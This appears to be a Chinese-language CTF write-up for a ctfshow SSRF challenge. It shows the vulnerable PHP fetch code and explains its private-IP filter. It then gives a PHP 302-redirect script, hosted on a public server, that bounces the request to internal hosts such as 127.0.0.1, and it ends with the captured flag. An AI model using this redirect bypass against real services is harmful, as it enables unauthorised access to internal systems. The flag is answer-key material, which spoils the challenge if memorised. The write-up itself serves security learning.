nginx/1.18.0PHP/7.3.22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
分析:
先获取主机名对应的ip,然后用IP过滤器进行过滤
- FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
- FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
即,主机名解析的 IP 不能是保留地址或者是内网 IP。
这时利用公网服务器进行重定向即可,为了以后的题目 fuzz 方便,写好参数
<?php
$h_p_p = explode("@", $_GET['h']);
$host = $h_p_p[0] or '127.0.0.1';
$port = $h_p_p[1] or '80';
$path = $h_p_p[2] or '';
header("Location: http://$host:$port/$path", TRUE, 302);
?>
flag
ctfshow{a39947fd-258e-4d44-82ce-9d4cdfb8cb28}